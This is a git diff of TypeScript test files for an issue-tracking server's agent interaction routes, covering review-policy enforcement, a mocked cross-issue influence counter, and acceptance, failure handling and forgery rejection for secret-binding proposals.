+    const relaxation = await request(app(agentActor(seeded.companyId, seeded.assigneeAgentId, runId)))
+      .patch(`/api/issues/${issueId}`)
+      .send({ reviewPolicy: "anyone" });
+
+    expect(relaxation.status).toBe(403);
+    expect(relaxation.body).toMatchObject({
+      details: {
+        code: "review_policy_denied",
+        policy: "human_only",
+      },
+    });
+    const [persisted] = await db.select({ reviewPolicy: issues.reviewPolicy })
+      .from(issues)
+      .where(eq(issues.id, issueId));
+    expect(persisted).toEqual({ reviewPolicy: "human_only" });
   });
 
   it("enforces not_creator when accepting or rejecting pending review interactions", async () => {
diff --git a/server/src/__tests__/issue-telemetry-routes.test.ts b/server/src/__tests__/issue-telemetry-routes.test.ts
index a624a5823d9..6e077d0d611 100644
--- a/server/src/__tests__/issue-telemetry-routes.test.ts
+++ b/server/src/__tests__/issue-telemetry-routes.test.ts
@@ -4,6 +4,7 @@ import { beforeEach, describe, expect, it, vi } from "vitest";
 
 const mockIssueService = vi.hoisted(() => ({
   getById: vi.fn(),
+  getByIdForUpdate: vi.fn(),
   getWakeableParentAfterChildCompletion: vi.fn(),
   listWakeableBlockedDependents: vi.fn(),
   update: vi.fn(),
@@ -157,6 +158,7 @@ describe("issue telemetry routes", () => {
     vi.clearAllMocks();
     mockGetTelemetryClient.mockReturnValue({ track: vi.fn() });
     mockIssueService.getById.mockResolvedValue(makeIssue("todo"));
+    mockIssueService.getByIdForUpdate.mockImplementation(async () => mockIssueService.getById());
     mockIssueService.getWakeableParentAfterChildCompletion.mockResolvedValue(null);
     mockIssueService.listWakeableBlockedDependents.mockResolvedValue([]);
     mockIssueService.update.mockImplementation(async (_id: string, patch: Record<string, unknown>) => ({
diff --git a/server/src/__tests__/issue-thread-interaction-routes.test.ts b/server/src/__tests__/issue-thread-interaction-routes.test.ts
index e984b3d4f4f..8fe46730699 100644
--- a/server/src/__tests__/issue-thread-interaction-routes.test.ts
+++ b/server/src/__tests__/issue-thread-interaction-routes.test.ts
@@ -5,10 +5,26 @@ import { beforeEach, describe, expect, it, vi } from "vitest";
 const ASSIGNEE_AGENT_ID = "11111111-1111-4111-8111-111111111111";
 const UNRELATED_AGENT_ID = "33333333-3333-4333-8333-333333333333";
 const CREATED_AGENT_ID = "22222222-2222-4222-8222-222222222222";
+const ISSUE_ID = "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa";
+const OTHER_ISSUE_ID = "bbbbbbbb-bbbb-4bbb-8bbb-bbbbbbbbbbbb";
+
+// Authenticated run ids are real UUIDs in production, and the per-run
+// cross-issue influence counter fails closed on a malformed one before it can
+// reach the database, so the fixtures must look like the real thing.
+const RUN_1 = "d1111111-1111-4111-8111-111111111111";
+const RUN_2 = "d2222222-2222-4222-8222-222222222222";
+const RUN_3 = "d3333333-3333-4333-8333-333333333333";
+const RUN_9 = "d9999999-9999-4999-8999-999999999999";
+const RUN_CROSS_COMPANY = "dccccccc-cccc-4ccc-8ccc-cccccccccccc";
+const RUN_INVALID = "d0000000-0000-4000-8000-000000000000";
+const RUN_LOW_TRUST = "d0000000-0000-4000-8000-000000000001";
+const RUN_TASK_BRIDGE = "d0000000-0000-4000-8000-000000000002";
+const RUN_WATCHDOG = "d0000000-0000-4000-8000-000000000003";
 
 const mockIssueService = vi.hoisted(() => ({
   getById: vi.fn(),
   listReviewAttention: vi.fn(),
+  addComment: vi.fn(),
 }));
 
 const mockInteractionService = vi.hoisted(() => ({
@@ -25,6 +41,7 @@ const mockInteractionService = vi.hoisted(() => ({
   submitItemVerdicts: vi.fn(),
   cancelQuestions: vi.fn(),
   withdrawInteraction: vi.fn(),
+  recordSecretProposalExecutionResult: vi.fn(),
 }));
 
 const mockHeartbeatService = vi.hoisted(() => ({
@@ -32,6 +49,19 @@ const mockHeartbeatService = vi.hoisted(() => ({
 }));
 const mockResolveTaskWatchdogMutationScope = vi.hoisted(() => vi.fn(async () => ({ kind: "none" })));
 const mockResolveCoreTrustPreset = vi.hoisted(() => vi.fn(() => ({ kind: "standard" })));
+const mockRunAttribution = vi.hoisted(() => ({
+  value: {
+    companyId: "company-1",
+    agentId: "22222222-2222-4222-8222-222222222222",
+    responsibleUserId: null,
+  } as Record<string, unknown> | null,
+}));
+const mockAccessDecide = vi.hoisted(() => vi.fn(async (input: { action?: string }) => ({
+  allowed: true,
+  action: input.action,
+  reason: "allow_explicit_grant",
+  explanation: "Allowed by test grant.",
+})));
 
 const mockLogActivity = vi.hoisted(() => vi.fn(async () => undefined));
 const mockReviewTransition = vi.hoisted(() => ({
@@ -46,8 +76,52 @@ const mockDbSelectWhere = vi.hoisted(() => vi.fn(() => ({
 })));
 const mockDbSelectFrom = vi.hoisted(() => vi.fn(() => ({ where: mockDbSelectWhere })));
 const mockDbSelect = vi.hoisted(() => vi.fn(() => ({ from: mockDbSelectFrom })));
+
+// The per-run cross-issue influence counter runs in its own locking
+// transaction, so the route harness has to model it: the locked run row (whose
+// persisted context snapshot names the source issue) and the observation count.
+const mockCrossIssueInfluence = vi.hoisted(() => ({
+  sourceIssueId: null as string | null,
+  priorCount: 0,
+  inserted: [] as Array<Record<string, unknown>>,
+}));
+const mockDbTransaction = vi.hoisted(() => vi.fn(async (callback: (tx: unknown) => unknown) => callback({
+  select: (selection: Record<string, unknown>) => ({
+    from: () => ({
+      where: () => {
+        if (Object.keys(selection).includes("count")) {
+          return {
+            then: (resolve: (rows: unknown[]) => unknown) =>
+              resolve([{ count: mockCrossIssueInfluence.priorCount }]),
+          };
+        }
+        const run = mockRunAttribution.value;
+        return {
+          for: () => ({
+            then: (resolve: (rows: unknown[]) => unknown) => resolve(run
+              ? [{
+                  id: run.runId ?? null,
+                  companyId: run.companyId ?? null,
+                  agentId: run.agentId ?? null,
+                  responsibleUserId: run.responsibleUserId ?? null,
+                  contextSnapshot: { issueId: mockCrossIssueInfluence.sourceIssueId },
+                }]
+              : []),
+          }),
+        };
+      },
+    }),
+  }),
+  insert: () => ({
+    values: async (value: Record<string, unknown>) => {
+      mockCrossIssueInfluence.inserted.push(value);
+      if (value.action === "issue.cross_issue_influence_observed") mockCrossIssueInfluence.priorCount += 1;
+    },
+  }),
+})));
 const mockDb = vi.hoisted(() => ({
   select: mockDbSelect,
+  transaction: mockDbTransaction,
 }));
 
 vi.mock("@paperclipai/shared/telemetry", () => ({
@@ -77,12 +151,7 @@ function registerModuleMocks() {
     }),
     accessService: () => ({
       canUser: vi.fn(async () => true),
-      decide: vi.fn(async (input: { action?: string }) => ({
-        allowed: true,
-        action: input.action,
-        reason: "allow_explicit_grant",
-        explanation: "Allowed by test grant.",
-      })),
+      decide: mockAccessDecide,
       hasPermission: vi.fn(async () => true),
     }),
     agentService: () => ({
@@ -141,6 +210,7 @@ function registerModuleMocks() {
       getActiveForIssue: vi.fn(async () => null),
       upsertForIssue: vi.fn(),
       disableForIssue: vi.fn(async () => null),
+      revalidateMutationScope: vi.fn(async (scope: unknown) => ({ allowed: true, scope })),
     }),
     logActivity: mockLogActivity,
     projectService: () => ({}),
@@ -180,6 +250,14 @@ async function createApp(actor: Record<string, unknown> = {
   source: "local_implicit",
   isInstanceAdmin: false,
 }, routeOptions: Record<string, unknown> = {}) {
+  if (actor.type === "agent") {
+    mockRunAttribution.value = {
+      runId: actor.runId,
+      companyId: actor.companyId ?? "company-1",
+      agentId: actor.agentId,
+      responsibleUserId: actor.onBehalfOfUserId ?? null,
+    };
+  }
   const [{ issueRoutes }, { errorHandler }] = await Promise.all([
     import("../routes/issues.js"),
     import("../middleware/index.js"),
@@ -204,8 +282,18 @@ describe.sequential("issue thread interaction routes", () => {
     vi.doUnmock("../services/index.js");
     registerModuleMocks();
     vi.clearAllMocks();
+    mockInteractionService.getForIssue.mockReset();
+    mockResolveTaskWatchdogMutationScope.mockReset();
+    mockResolveCoreTrustPreset.mockReset();
+    mockAccessDecide.mockReset();
     mockResolveTaskWatchdogMutationScope.mockResolvedValue({ kind: "none" });
     mockResolveCoreTrustPreset.mockReturnValue({ kind: "standard" });
+    mockAccessDecide.mockImplementation(async (input: { action?: string }) => ({
+      allowed: true,
+      action: input.action,
+      reason: "allow_explicit_grant",
+      explanation: "Allowed by test grant.",
+    }));
     mockIssueService.getById.mockResolvedValue(createIssue());
     mockIssueService.listReviewAttention.mockResolvedValue(new Map());
     mockInteractionService.listForIssue.mockResolvedValue([]);
@@ -215,7 +303,7 @@ describe.sequential("issue thread interaction routes", () => {
       id: "interaction-withdraw",
       kind: "ask_user_questions",
       createdByAgentId: CREATED_AGENT_ID,
-      sourceRunId: "run-1",
+      sourceRunId: RUN_1,
       requestedResolverPolicy: "board_or_agents",
       effectiveResolverPolicy: "board_or_agents",
       continuationPolicy: "wake_assignee",
@@ -233,6 +321,27 @@ describe.sequential("issue thread interaction routes", () => {
       payload: { version: 1, prompt: "Proceed?" },
       result: { version: 1, outcome: "withdrawn", reason: "Replanning" },
     });
+    mockInteractionService.recordSecretProposalExecutionResult.mockImplementation(
+      async (_issue, _interactionId, _proposalId, execution) => ({
+        ...(await mockInteractionService.acceptInteraction.mock.results.at(-1)?.value)?.interaction,
+        id: _interactionId,
+        companyId: "company-1",
+        issueId: "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
+        kind: "request_confirmation",
+        status: "accepted",
+        continuationPolicy: "wake_assignee",
+        payload: {
+          version: 1,
+          prompt: "Create the binding?",
+          secretProposal: {
+            version: 1,
+            proposalId: _proposalId,
+            configPath: "access.NEW_ALIAS",
+          },
+        },
+        result: { version: 1, outcome: "accepted", secretProposal: { version: 1, ...execution } },
+      }),
+    );
     mockInteractionService.create.mockResolvedValue({
       id: "interaction-1",
       companyId: "company-1",
@@ -242,7 +351,7 @@ describe.sequential("issue thread interaction routes", () => {
       continuationPolicy: "wake_assignee",
       idempotencyKey: null,
       sourceCommentId: null,
-      sourceRunId: "run-1",
+      sourceRunId: RUN_1,
       payload: {
         version: 1,
         tasks: [{ clientKey: "task-1", title: "One" }],
@@ -261,7 +370,7 @@ describe.sequential("issue thread interaction routes", () => {
         continuationPolicy: "wake_assignee",
         idempotencyKey: null,
         sourceCommentId: "comment-1",
-        sourceRunId: "run-1",
+        sourceRunId: RUN_1,
         payload: {
           version: 1,
           tasks: [{ clientKey: "task-1", title: "One" }],
@@ -292,7 +401,7 @@ describe.sequential("issue thread interaction routes", () => {
       continuationPolicy: "wake_assignee",
       idempotencyKey: null,
       sourceCommentId: "comment-1",
-      sourceRunId: "run-1",
+      sourceRunId: RUN_1,
       payload: {
         version: 1,
         tasks: [{ clientKey: "task-1", title: "One" }],
@@ -314,7 +423,7 @@ describe.sequential("issue thread interaction routes", () => {
       continuationPolicy: "wake_assignee",
       idempotencyKey: null,
       sourceCommentId: "comment-2",
-      sourceRunId: "run-2",
+      sourceRunId: RUN_2,
       payload: {
         version: 1,
         questions: [{
@@ -383,7 +492,7 @@ describe.sequential("issue thread interaction routes", () => {
       continuationPolicy: "wake_assignee",
       idempotencyKey: null,
       sourceCommentId: "comment-2",
-      sourceRunId: "run-2",
+      sourceRunId: RUN_2,
       payload: {
         version: 1,
         questions: [{
@@ -408,7 +517,7 @@ describe.sequential("issue thread interaction routes", () => {
     mockDbSelectFrom.mockImplementation(() => ({ where: mockDbSelectWhere }));
     mockDbSelectWhere.mockImplementation(() => ({
       then: (onFulfilled: (rows: unknown[]) => unknown, onRejected?: (reason: unknown) => unknown) =>
-        Promise.resolve([{ companyId: "company-1", agentId: CREATED_AGENT_ID, contextSnapshot: null }]).then(
+        Promise.resolve(mockRunAttribution.value ? [mockRunAttribution.value] : []).then(
           onFulfilled,
           onRejected,
         ),
@@ -417,6 +526,11 @@ describe.sequential("issue thread interaction routes", () => {
       }),
     }));
     mockReviewTransition.value = null;
+    // Default: the authenticated run is already working the issue under test, so
+    // resolution is a same-issue write and the cross-issue counter must ignore it.
+    mockCrossIssueInfluence.sourceIssueId = ISSUE_ID;
+    mockCrossIssueInfluence.priorCount = 0;
+    mockCrossIssueInfluence.inserted.length = 0;
   });
 
   it("creates board-authored interactions", async () => {
@@ -470,8 +584,8 @@ describe.sequential("issue thread interaction routes", () => {
       status: "pending",
       continuationPolicy: "wake_assignee",
       addresseeAgentId: ASSIGNEE_AGENT_ID,
-      requestedResolverPolicy: "board_only",
-      effectiveResolverPolicy: "board_only",
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
       idempotencyKey: null,
       sourceCommentId: null,
       sourceRunId: null,
@@ -513,6 +627,51 @@ describe.sequential("issue thread interaction routes", () => {
     );
   });
 
+  it("does not route agent attention for a human-only interaction", async () => {
+    mockInteractionService.create.mockResolvedValueOnce({
+      id: "interaction-human-attention",
+      companyId: "company-1",
+      issueId: "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
+      kind: "ask_user_questions",
+      status: "pending",
+      continuationPolicy: "wake_assignee",
+      addresseeAgentId: ASSIGNEE_AGENT_ID,
+      requestedResolverPolicy: "human_only",
+      effectiveResolverPolicy: "human_only",
+      resolverPolicyProvenance: "explicit",
+      effectiveResolverPolicySource: "requested",
+      idempotencyKey: null,
+      sourceCommentId: null,
+      sourceRunId: null,
+      createdByAgentId: null,
+      payload: { version: 1, questions: [] },
+      result: null,
+      createdAt: "2026-07-25T12:00:00.000Z",
+      updatedAt: "2026-07-25T12:00:00.000Z",
+    });
+    const app = await createApp();
+
+    const res = await request(app)
+      .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions")
+      .send({
+        kind: "ask_user_questions",
+        addresseeAgentId: ASSIGNEE_AGENT_ID,
+        resolverPolicy: "human_only",
+        payload: {
+          version: 1,
+          questions: [{
+            id: "scope",
+            prompt: "Which scope?",
+            selectionMode: "single",
+            options: [{ id: "phase-1", label: "Phase 1" }],
+          }],
+        },
+      });
+
+    expect(res.status).toBe(201);
+    expect(mockHeartbeatService.wakeup).not.toHaveBeenCalled();
+  });
+
   it("returns 400 for agent-addressed tool-action confirmations", async () => {
     const app = await createApp();
     const res = await request(app)
@@ -584,7 +743,7 @@ describe.sequential("issue thread interaction routes", () => {
           interactionId: "interaction-1",
           interactionStatus: "accepted",
           sourceCommentId: "comment-1",
-          sourceRunId: "run-1",
+          sourceRunId: RUN_1,
         }),
       }),
     );
@@ -610,7 +769,7 @@ describe.sequential("issue thread interaction routes", () => {
           interactionKind: "ask_user_questions",
           interactionStatus: "answered",
           sourceCommentId: "comment-2",
-          sourceRunId: "run-2",
+          sourceRunId: RUN_2,
         }),
       }),
     );
@@ -712,12 +871,12 @@ describe.sequential("issue thread interaction routes", () => {
       kind: "request_confirmation",
       status: "pending",
       createdByAgentId: CREATED_AGENT_ID,
-      sourceRunId: "run-1",
-      requestedResolverPolicy: "board_only",
-      effectiveResolverPolicy: "board_only",
+      sourceRunId: RUN_1,
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
       payload: { version: 1, prompt: "Proceed?" },
     });
-    const app = await createApp({ type: "agent", agentId: CREATED_AGENT_ID, companyId: "company-1", runId: "run-1" });
+    const app = await createApp({ type: "agent", agentId: CREATED_AGENT_ID, companyId: "company-1", runId: RUN_1 });
     const res = await request(app)
       .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-withdraw/withdraw")
       .send({});
@@ -727,7 +886,7 @@ describe.sequential("issue thread interaction routes", () => {
 
   it("allows the assignee agent to withdraw without waking itself", async () => {
     mockIssueService.getById.mockResolvedValueOnce(createIssue({ status: "todo" }));
-    const app = await createApp({ type: "agent", agentId: ASSIGNEE_AGENT_ID, companyId: "company-1", runId: "run-2" });
+    const app = await createApp({ type: "agent", agentId: ASSIGNEE_AGENT_ID, companyId: "company-1", runId: RUN_2 });
     const res = await request(app)
       .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-withdraw/withdraw")
       .send({});
@@ -736,7 +895,7 @@ describe.sequential("issue thread interaction routes", () => {
   });
 
   it("rejects withdrawal by an unrelated agent", async () => {
-    const app = await createApp({ type: "agent", agentId: "33333333-3333-4333-8333-333333333333", companyId: "company-1", runId: "run-3" });
+    const app = await createApp({ type: "agent", agentId: "33333333-3333-4333-8333-333333333333", companyId: "company-1", runId: RUN_3 });
     const res = await request(app)
       .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-withdraw/withdraw")
       .send({});
@@ -744,8 +903,8 @@ describe.sequential("issue thread interaction routes", () => {
     expect(mockInteractionService.withdrawInteraction).not.toHaveBeenCalled();
   });
 
-  it("rejects withdrawal by watchdog-scoped runs", async () => {
-    mockResolveTaskWatchdogMutationScope.mockResolvedValueOnce({
+  it("lets a watchdog-scoped assignee withdraw through ordinary containment", async () => {
+    mockResolveTaskWatchdogMutationScope.mockResolvedValue({
       kind: "watchdog",
       watchdogId: "watchdog-1",
       companyId: "company-1",
@@ -753,23 +912,27 @@ describe.sequential("issue thread interaction routes", () => {
       watchdogIssueId: null,
       stopFingerprint: "stop-1",
     });
-    const app = await createApp({ type: "agent", agentId: ASSIGNEE_AGENT_ID, companyId: "company-1", runId: "run-watchdog" });
+    const app = await createApp({ type: "agent", agentId: ASSIGNEE_AGENT_ID, companyId: "company-1", runId: RUN_WATCHDOG });
     const res = await request(app)
       .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-withdraw/withdraw")
       .send({});
-    expect(res.status).toBe(403);
-    expect(res.body.error).toContain("Task-watchdog");
-    expect(mockInteractionService.withdrawInteraction).not.toHaveBeenCalled();
+    expect(mockInteractionService.withdrawInteraction).toHaveBeenCalledWith(
+      expect.anything(),
+      "interaction-withdraw",
+      {},
+      expect.objectContaining({ agentId: ASSIGNEE_AGENT_ID, runId: RUN_WATCHDOG }),
+    );
+    expect(res.status).toBe(200);
   });
 
   it("rejects withdrawal by low-trust actors", async () => {
     mockResolveCoreTrustPreset.mockReturnValueOnce({ kind: "low_trust_review" });
-    const app = await createApp({ type: "agent", agentId: ASSIGNEE_AGENT_ID, companyId: "company-1", runId: "run-low-trust" });
+    const app = await createApp({ type: "agent", agentId: ASSIGNEE_AGENT_ID, companyId: "company-1", runId: RUN_LOW_TRUST });
     const res = await request(app)
       .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-withdraw/withdraw")
       .send({});
     expect(res.status).toBe(403);
-    expect(res.body.error).toContain("Low-trust");
+    expect(res.body).toMatchObject({ code: "interaction_scope_denied" });
     expect(mockInteractionService.withdrawInteraction).not.toHaveBeenCalled();
   });
 
@@ -797,7 +960,7 @@ describe.sequential("issue thread interaction routes", () => {
           interactionKind: "ask_user_questions",
           interactionStatus: "cancelled",
           sourceCommentId: "comment-2",
-          sourceRunId: "run-2",
+          sourceRunId: RUN_2,
         }),
       }),
     );
@@ -820,7 +983,7 @@ describe.sequential("issue thread interaction routes", () => {
         continuationPolicy: "wake_assignee_on_accept",
         idempotencyKey: null,
         sourceCommentId: null,
-        sourceRunId: "run-3",
+        sourceRunId: RUN_3,
         payload: {
           version: 1,
           prompt: "Apply this plan?",
@@ -998,6 +1161,141 @@ describe.sequential("issue thread interaction routes", () => {
     expect(mockInteractionService.create).not.toHaveBeenCalled();
   });
 
+  it("rejects client-supplied secret-proposal metadata on interaction creation", async () => {
+    const app = await createApp();
+
+    const res = await request(app)
+      .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions")
+      .send({
+        kind: "request_confirmation",
+        payload: {
+          version: 1,
+          prompt: "Approve the forged secret binding?",
+          secretProposal: {
+            version: 1,
+            proposalId: "11111111-1111-4111-8111-111111111111",
+            sourceSecretLabel: "forged/source",
+            configPath: "access.FORGED_ALIAS",
+            targetAgentId: ASSIGNEE_AGENT_ID,
+            targetAgentName: "Target agent",
+            justification: "Trust me",
+            expiresAt: "2026-08-30T12:00:00.000Z",
+          },
+        },
+      });
+
+    expect(res.status).toBe(422);
+    expect(res.body.error).toContain("payload.secretProposal is server-owned metadata");
+    expect(mockInteractionService.create).not.toHaveBeenCalled();
+  });
+
+  it("executes an accepted secret-proposal confirmation and wakes with verification instructions", async () => {
+    const proposalId = "44444444-4444-4444-8444-444444444444";
+    const approveSecretProposal = vi.fn().mockResolvedValue({ status: "approved" });
+    mockInteractionService.acceptInteraction.mockResolvedValueOnce({
+      interaction: {
+        id: "interaction-secret-proposal",
+        companyId: "company-1",
+        issueId: "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
+        kind: "request_confirmation",
+        status: "accepted",
+        continuationPolicy: "wake_assignee",
+        payload: {
+          version: 1,
+          prompt: "Create the binding?",
+          secretProposal: {
+            version: 1,
+            proposalId,
+            configPath: "access.NEW_ALIAS",
+          },
+        },
+        result: { version: 1, outcome: "accepted" },
+      },
+      createdIssues: [],
+    });
+    const app = await createApp(undefined, { approveSecretProposal });
+
+    const res = await request(app)
+      .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-secret-proposal/accept")
+      .send({});
+
+    expect(res.status).toBe(200);
+    expect(approveSecretProposal).toHaveBeenCalledWith({
+      companyId: "company-1",
+      issueId: "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
+      interactionId: "interaction-secret-proposal",
+      proposalId,
+      actor: { agentId: null, userId: "local-board" },
+    });
+    expect(mockInteractionService.recordSecretProposalExecutionResult).toHaveBeenCalledWith(
+      expect.objectContaining({ id: "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa" }),
+      "interaction-secret-proposal",
+      proposalId,
+      { status: "executed" },
+    );
+    expect(mockHeartbeatService.wakeup).toHaveBeenCalledWith(
+      ASSIGNEE_AGENT_ID,
+      expect.objectContaining({
+        payload: expect.objectContaining({
+          secretProposal: expect.objectContaining({
+            proposalId,
+            configPath: "access.NEW_ALIAS",
+            executionStatus: "executed",
+            instructions: expect.stringContaining("GET /api/agents/me/secrets"),
+          }),
+        }),
+      }),
+    );
+  });
+
+  it("records a failed secret-proposal execution and posts a thread comment", async () => {
+    const proposalId = "55555555-5555-4555-8555-555555555555";
+    const approveSecretProposal = vi.fn().mockRejectedValue(new Error("binding failed"));
+    mockInteractionService.acceptInteraction.mockResolvedValueOnce({
+      interaction: {
+        id: "interaction-secret-proposal-failed",
+        companyId: "company-1",
+        issueId: "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
+        kind: "request_confirmation",
+        status: "accepted",
+        continuationPolicy: "wake_assignee",
+        payload: {
+          version: 1,
+          prompt: "Create the binding?",
+          secretProposal: {
+            version: 1,
+            proposalId,
+            configPath: "access.NEW_ALIAS",
+          },
+        },
+        result: { version: 1, outcome: "accepted" },
+      },
+      createdIssues: [],
+    });
+    const app = await createApp(undefined, { approveSecretProposal });
+
+    const res = await request(app)
+      .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-secret-proposal-failed/accept")
+      .send({});
+
+    expect(res.status).toBe(200);
+    expect(mockInteractionService.recordSecretProposalExecutionResult).toHaveBeenCalledWith(
+      expect.anything(),
+      "interaction-secret-proposal-failed",
+      proposalId,
+      { status: "failed", errorCode: "secret_proposal_execution_failed" },
+    );
+    expect(mockIssueService.addComment).toHaveBeenCalledWith(
+      "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
+      expect.stringContaining("Binding created: **no**"),
+      { userId: "local-board" },
+    );
+    expect(res.body.result.secretProposal).toMatchObject({
+      status: "failed",
+      errorCode: "secret_proposal_execution_failed",
+    });
+  });
+
   it("forwards plan-document confirmations to the interaction service for revision validation", async () => {
     const app = await createApp();
 
@@ -1396,7 +1694,7 @@ describe.sequential("issue thread interaction routes", () => {
       continuationPolicy: "wake_assignee_on_accept",
       idempotencyKey: null,
       sourceCommentId: null,
-      sourceRunId: "run-3",
+      sourceRunId: RUN_3,
       payload: {
         version: 1,
         prompt: "Apply this plan?",
@@ -1555,7 +1853,7 @@ describe.sequential("issue thread interaction routes", () => {
       type: "agent",
       agentId: CREATED_AGENT_ID,
       companyId: "company-1",
-      runId: "run-1",
+      runId: RUN_1,
     });
 
     const res = await request(app)
@@ -1575,7 +1873,7 @@ describe.sequential("issue thread interaction routes", () => {
       expect.objectContaining({
         kind: "suggest_tasks",
         idempotencyKey: "interaction:task-1",
-        sourceRunId: "run-1",
+        sourceRunId: RUN_1,
       }),
       {
         agentId: CREATED_AGENT_ID,
@@ -1590,7 +1888,7 @@ describe.sequential("issue thread interaction routes", () => {
       type: "agent",
       agentId: ASSIGNEE_AGENT_ID,
       companyId: "company-1",
-      runId: "run-2",
+      runId: RUN_2,
     });
 
     const res = await request(app)
@@ -1602,7 +1900,7 @@ describe.sequential("issue thread interaction routes", () => {
       expect.anything(),
       "interaction-2",
       expect.anything(),
-      expect.objectContaining({ agentId: ASSIGNEE_AGENT_ID, runId: "run-2", userId: null }),
+      expect.objectContaining({ agentId: ASSIGNEE_AGENT_ID, runId: RUN_2, userId: null }),
     );
     expect(mockHeartbeatService.wakeup).toHaveBeenCalledWith(
       ASSIGNEE_AGENT_ID,
@@ -1611,7 +1909,7 @@ describe.sequential("issue thread interaction routes", () => {
     expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({
       actorType: "agent",
       agentId: ASSIGNEE_AGENT_ID,
-      runId: "run-2",
+      runId: RUN_2,
       details: expect.objectContaining({ resolutionActorKind: "agent" }),
     }));
   });
@@ -1633,9 +1931,9 @@ describe.sequential("issue thread interaction routes", () => {
       kind: "request_confirmation",
       status: "pending",
       createdByAgentId: CREATED_AGENT_ID,
-      sourceRunId: "run-1",
-      requestedResolverPolicy: "board_only",
-      effectiveResolverPolicy: "board_only",
+      sourceRunId: RUN_1,
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
       payload: { version: 1, prompt: "Approve this review?" },
     });
     mockInteractionService.acceptInteraction.mockResolvedValueOnce({
@@ -1646,8 +1944,8 @@ describe.sequential("issue thread interaction routes", () => {
         kind: "request_confirmation",
         status: "accepted",
         continuationPolicy: "none",
-        requestedResolverPolicy: "board_only",
-        effectiveResolverPolicy: "board_only",
+        requestedResolverPolicy: "anyone",
+        effectiveResolverPolicy: "anyone",
         payload: { version: 1, prompt: "Approve this review?" },
         result: { version: 1, outcome: "accepted" },
       },
@@ -1657,7 +1955,7 @@ describe.sequential("issue thread interaction routes", () => {
       type: "agent",
       agentId: ASSIGNEE_AGENT_ID,
       companyId: "company-1",
-      runId: "run-2",
+      runId: RUN_2,
     });
 
     const res = await request(app)
@@ -1671,9 +1969,10 @@ describe.sequential("issue thread interaction routes", () => {
       {},
       {
         agentId: ASSIGNEE_AGENT_ID,
-        runId: "run-2",
+        runId: RUN_2,
         userId: null,
-        reviewVerdictAuthorized: true,
+        resolverPolicyRestriction: "anyone",
+        suggestedTaskEffectsAuthorized: true,
       },
     );
     expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({
@@ -1700,16 +1999,16 @@ describe.sequential("issue thread interaction routes", () => {
       kind: "request_confirmation",
       status: "pending",
       createdByAgentId: CREATED_AGENT_ID,
-      sourceRunId: "run-1",
-      requestedResolverPolicy: "board_only",
-      effectiveResolverPolicy: "board_only",
+      sourceRunId: RUN_1,
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
       payload: { version: 1, prompt: "Approve this review?" },
     });
     const app = await createApp({
       type: "agent",
       agentId: ASSIGNEE_AGENT_ID,
       companyId: "company-1",
-      runId: "run-2",
+      runId: RUN_2,
     });
 
     const res = await request(app)
@@ -1723,12 +2022,12 @@ describe.sequential("issue thread interaction routes", () => {
       { reason: "Needs changes" },
       expect.objectContaining({
         agentId: ASSIGNEE_AGENT_ID,
-        reviewVerdictAuthorized: true,
+        resolverPolicyRestriction: "anyone",
       }),
     );
   });
 
-  it("keeps an unrelated pending confirmation board-only on an in-review issue", async () => {
+  it("keeps an unrelated pending confirmation human-only on an in-review issue", async () => {
     mockReviewTransition.value = {
       actorType: "agent",
       actorId: CREATED_AGENT_ID,
@@ -1745,7 +2044,7 @@ describe.sequential("issue thread interaction routes", () => {
       kind: "request_confirmation",
       status: "pending",
       createdByAgentId: UNRELATED_AGENT_ID,
-      sourceRunId: "run-1",
+      sourceRunId: RUN_1,
       requestedResolverPolicy: "board_only",
       effectiveResolverPolicy: "board_only",
       payload: { version: 1, prompt: "Approve an unrelated operation?" },
@@ -1754,7 +2053,7 @@ describe.sequential("issue thread interaction routes", () => {
       type: "agent",
       agentId: ASSIGNEE_AGENT_ID,
       companyId: "company-1",
-      runId: "run-2",
+      runId: RUN_2,
     });
 
     const res = await request(app)
@@ -1762,11 +2061,14 @@ describe.sequential("issue thread interaction routes", () => {
       .send({});
 
     expect(res.status).toBe(403);
-    expect(res.body).toEqual({ error: "This issue-thread interaction is board-only" });
+    expect(res.body).toMatchObject({
+      error: "This issue-thread interaction is human-only",
+      code: "interaction_human_only",
+    });
     expect(mockInteractionService.acceptInteraction).not.toHaveBeenCalled();
   });
 
-  it("keeps a same-requester sibling confirmation board-only", async () => {
+  it("keeps a same-requester sibling confirmation human-only", async () => {
     mockReviewTransition.value = {
       actorType: "agent",
       actorId: CREATED_AGENT_ID,
@@ -1783,7 +2085,7 @@ describe.sequential("issue thread interaction routes", () => {
       kind: "request_confirmation",
       status: "pending",
       createdByAgentId: CREATED_AGENT_ID,
-      sourceRunId: "run-1",
+      sourceRunId: RUN_1,
       requestedResolverPolicy: "board_only",
       effectiveResolverPolicy: "board_only",
